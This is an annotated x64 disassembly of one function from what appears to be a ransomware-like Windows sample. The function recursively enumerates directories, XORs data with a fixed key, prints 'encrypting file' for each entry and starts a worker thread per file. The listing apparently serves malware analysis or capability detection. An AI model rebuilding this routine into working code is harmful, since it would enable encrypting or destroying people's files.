Function at 0x140005de0
Capabilities:
Create thread
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x6c8]
sub rsp, 0x7a0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14003e040]
xor rax, rsp
mov qword [rbp + 0x680], rax
mov r14, rcx
mov qword [rbp - 0x60], rcx
mov qword [rbp + 0x100], rcx
xor r13d, r13d
mov r15d, r13d
mov dword [rsp + 0x38], r13d
xorps xmm6, xmm6
movdqa xmmword [rbp + 0x110], xmm6
lea r8d, [r13 + 2]
mov rdx, rcx
lea rcx, [rbp + 0x1b0]
call fcn.1400049b0
nop
cmp byte [rbp + 0x428], r13b
je 0x140005ebd
lea ecx, [r13 + 0x58]
call fcn.140015c00
mov rdi, rax
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_struct_std::filesystem::_Dir_enum_impl_.0
mov qword [rdi], rax
lea rbx, [rdi + 0x10]
lea rdx, [rbp + 0x1b0]
mov rcx, rbx
call fcn.140004cb0
nop
mov r15d, 0x80
mov qword [rbp + 0x110], rbx
mov qword [rbp + 0x118], rdi
movdqa xmm6, xmmword [rbp + 0x110]
jmp 0x140005eca
xorps xmm0, xmm0
psrldq xmm0, 8
movq rdi, xmm0
mov ebx, dword [rbp + 0x42c]
mov rcx, qword [rbp + 0x1d0]
call fcn.1400153a4
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 7
jbe 0x140005f25
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016100
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1c8], 7
mov word [rbp + 0x1b0], r13w
test ebx, ebx
jne 0x140006900
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
test rdi, rdi
je 0x140005f69
lock inc dword [rdi + 8]
mov rdi, qword [rbp + 0x118]
movdqa xmm6, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x120], xmm6
test rdi, rdi
je 0x140005f81
lock inc dword [rdi + 8]
mov rdi, qword [rbp + 0x118]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
mov esi, 0xffffffff
test rdi, rdi
je 0x140005fcb
mov eax, esi
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140005fcb
mov rbx, qword [rbp + 0x118]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140005fcb
mov rcx, qword [rbp + 0x118]
mov rax, qword [rcx]
call qword [rax + 8]
nop
nop dword [rax + rax]
mov rdi, qword [rbp + 0x120]
test rdi, rdi
je 0x1400067ed
lea rdx, [rbp - 0x38]
mov rcx, rdi
call fcn.140004840
mov rax, qword [rbp - 0x38]
mov edx, dword [rbp - 0x30]
test edx, edx
je 0x140006006
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x140006912
cmp eax, 3
jne 0x140006028
lea rdx, [rdi + 0x20]
lea rcx, [rbp + 0xe0]
call fcn.140003d50
mov rcx, rax
call fcn.140005de0
jmp 0x1400066f0
lea rdx, [rbp - 0x28]
mov rcx, rdi
call fcn.140004840
mov rax, qword [rbp - 0x28]
mov edx, dword [rbp - 0x20]
test edx, edx
je 0x14000604e
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x140006923
cmp eax, 2
jne 0x1400066f0
lea rdx, [rdi + 0x20]
lea rcx, [rbp + 0x130]
call fcn.140003d50
nop
xorps xmm6, xmm6
movups xmmword [rbp + 0xb0], xmm6
mov r12, qword [0x14003edd8]
mov rax, qword [0x14003ede0]
mov qword [rsp + 0x38], rax
cmp r12, rax
je 0x14000668f
nop
mov rdx, r12
lea rcx, [rbp + 0x170]
call fcn.1400050f0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea rsi, [rbp + 0x170]
mov r13, qword [rbp + 0x188]
cmp r13, 0xf
seta byte [rsp + 0x30]
mov r14, qword [rbp + 0x170]
cmova rsi, r14
mov rdi, qword [rbp + 0x180]
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x14000693a
cmp rdi, 0xf
ja 0x14000610f
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 0xf
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x40], xmm0
jmp 0x1400061a3
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x14000612e
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140006155
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140006177
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006934
mov rcx, rax
call fcn.140015c00
mov rcx, rax
test rax, rax
je 0x14000679e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140006185
test rcx, rcx
je 0x140006183
call fcn.140015c00
jmp 0x140006185
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x40]
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x150]
call fcn.1400050f0
or r15d, 8
xor edx, edx
cmp qword [rsp + 0x50], rdx
jbe 0x14000620c
nop dword [rax + rax]
lea rax, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rax, qword [rsp + 0x40]
movzx ecx, byte [rax + rdx]
xor cl, 0x42
lea rax, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rax, qword [rbp + 0x150]
mov byte [rax + rdx], cl
inc rdx
cmp rdx, qword [rsp + 0x50]
jb 0x1400061d0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140006249
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006244
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000679e
call fcn.140016100
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
lea rax, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rax, qword [rbp + 0x150]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x160]
mov qword [rbp + 0x28], rax
call fcn.140015124
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov edx, eax
lea rcx, [rbp - 0x58]
call fcn.140003560
nop
lea rcx, [rbp + 0x130]
cmp qword [rbp + 0x148], 7
cmova rcx, qword [rbp + 0x130]
mov rax, qword [rbp + 0x140]
lea rdx, [rcx + rax*2]
mov rbx, rdx
call fcn.1400036b0
cmp rax, rdx
je 0x14000630e
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x1400062e4
cmp cx, 0x2f
jne 0x1400062ed
add rax, 2
cmp rax, rdx
jne 0x1400062d5
cmp rax, rdx
je 0x14000630e
lea r8, [rbx - 2]
movzx ecx, word [r8]
cmp cx, 0x5c
je 0x14000630e
cmp cx, 0x2f
je 0x14000630e
mov rbx, r8
cmp rax, r8
jne 0x1400062f2
mov r8d, 0x3a
mov rcx, rbx
call fcn.140015ab0
cmp rbx, rax
je 0x14000635f
lea rcx, [rax - 2]
cmp rbx, rcx
je 0x14000635f
cmp word [rcx], 0x2e
jne 0x140006341
lea rdx, [rcx - 2]
cmp rbx, rdx
jne 0x140006362
cmp word [rdx], 0x2e
jne 0x140006362
jmp 0x14000635f
sub rcx, 2
cmp rbx, rcx
je 0x14000635f
nop word [rax + rax]
cmp word [rcx], 0x2e
je 0x140006362
sub rcx, 2
cmp rbx, rcx
jne 0x140006350
mov rcx, rax
mov qword [rbp + 0x30], rcx
sub rax, rcx
sar rax, 1
mov qword [rbp + 0x38], rax
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x18]
call fcn.14000bb90
or r15d, 7
lea rax, [rbp - 0x58]
mov rbx, qword [rbp - 0x58]
mov rdi, qword [rbp - 0x40]
cmp rdi, 7
cmova rax, rbx
mov qword [rbp + 0x40], rax
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0x48], rax
movaps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x18]
call fcn.140003a50
mov esi, eax
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x140006401
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400067a5
call fcn.140016100
mov rdi, qword [rbp - 0x40]
mov rbx, qword [rbp - 0x58]
xor eax, eax
mov qword [rbp - 8], rax
mov qword [rbp], 7
mov word [rbp - 0x18], ax
cmp rdi, 7
jbe 0x14000644e
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140006446
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400067ac
mov rcx, rbx
call fcn.140016100
test esi, esi
jne 0x1400065f5
lea rdx, str.___encrypting_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009aa0
mov rbx, rax
lea rcx, [rbp + 0x130]
cmp qword [rbp + 0x148], 7
cmova rcx, qword [rbp + 0x130]
mov qword [rbp + 0x50], rcx
mov rcx, qword [rbp + 0x140]
mov qword [rbp + 0x58], rcx
call fcn.140015124
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x80], xmm0
lea r8, [rbp + 0x80]
mov edx, eax
lea rcx, [rbp - 0x80]
call fcn.14000cd60
nop
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rax, qword [rbp - 0x80]
mov qword [rbp + 8], rax
mov rax, qword [rbp - 0x70]
mov qword [rbp + 0x10], rax
mov word [rbp + 0x18], 0x5c22
lea rdx, [rbp + 8]
mov rcx, rbx
call fcn.14000bce0
mov rbx, rax
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140006520
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000651b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400067b3
call fcn.140016100
xor edi, edi
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], dil
lea rdx, [0x140009d40]
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea ecx, [rdi + 0x28]
call fcn.140015c00
mov rbx, rax
mov qword [rbp + 0x60], rax
lea rdx, [rbp + 0x130]
mov rcx, rax
call fcn.140003d50
lea rax, [0x140005320]
mov qword [rbx + 0x20], rax
mov qword [rbp + 0x1a0], rbx
or r15d, 0x70
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
mov r9, rbx
lea r8, [0x14000ceb0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x1400067c1
mov rdx, qword [0x14003edf8]
cmp rdx, qword [0x14003ee00]
je 0x1400065df
xorps xmm0, xmm0
movaps xmmword [rbp + 0xc0], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xd0], xmm1
movdqa xmmword [rsp + 0x60], xmm0
movups xmmword [rdx], xmm1
add qword [0x14003edf8], 0x10
jmp 0x1400065ea
lea r8, [rsp + 0x60]
call fcn.14000c140
nop
cmp dword [rsp + 0x68], 0
jne 0x1400067ba
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x140006637
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006631
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400067d1
call fcn.140016100
nop
cmp byte [rsp + 0x30], 0
je 0x14000666f
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140006667
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400067d8
mov rcx, r14
call fcn.140016100
add r12, 0x20
cmp r12, qword [rsp + 0x38]
mov r13d, 0
jne 0x140006090
mov rdi, qword [rbp + 0x120]
lea esi, [r13 - 1]
psrldq xmm6, 8
movd eax, xmm6
test eax, eax
jne 0x1400067e6
mov rdx, qword [rbp + 0x148]
cmp rdx, 7
jbe 0x1400066f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400067df
call fcn.140016100
nop word [rax + rax]
lea rdx, [rbp + 0x430]
mov rcx, qword [rdi + 0x40]
call fcn.140015384
cmp eax, 0x12
je 0x140006747
test eax, eax
jne 0x1400068f8
cmp word [rbp + 0x45c], 0x2e
jne 0x140006733
movzx eax, word [rbp + 0x45e]
test ax, ax
je 0x1400066f0
cmp ax, 0x2e
jne 0x140006733
cmp word [rbp + 0x460], 0
je 0x1400066f0
lea rdx, [rbp + 0x430]
mov rcx, rdi
call fcn.140004b40
jmp 0x140005fd7
mov rdi, r13
mov qword [rbp + 0x120], r13
mov rbx, qword [rbp + 0x128]
mov qword [rbp + 0x128], r13
test rbx, rbx
je 0x140005fd7
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140005fd0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140005fd0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
jmp 0x140005fd0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov dword [rsp + 0x68], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rcx, qword [rbp + 0x128]
test rcx, rcx
je 0x14000682e
mov eax, esi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14000682e
mov rbx, qword [rbp + 0x128]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000682e
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rcx, qword [rbp + 0x118]
test rcx, rcx
je 0x14000686d
mov eax, esi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14000686d
mov rbx, qword [rbp + 0x118]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], esi
cmp esi, 1
jne 0x14000686d
mov rcx, qword [rbp + 0x118]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov r14, qword [rbp - 0x60]
mov rdx, qword [r14 + 0x18]
cmp rdx, 7
jbe 0x1400068ac
lea rdx, [rdx*2 + 2]
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x1400068a7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400068f1
mov rcx, r8
call fcn.140016100
mov qword [r14 + 0x10], r13
mov qword [r14 + 0x18], 7
mov word [r14], r13w
mov rcx, qword [rbp + 0x680]
xor rcx, rsp
call fcn.140015be0
lea r11, [rsp + 0x7a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov edx, eax
call fcn.1400046e0
nop
mov r8, r14
mov edx, ebx
lea rcx, str.directory_iterator::directory_iterator
call fcn.1400047d0
nop
lea r8, [rdi + 0x20]
lea rcx, str.directory_entry::status
call fcn.1400047d0
int3
lea r8, [rdi + 0x20]
lea rcx, str.directory_entry::status
call fcn.1400047d0
nop
call fcn.140001370
int3
call fcn.140001410
int3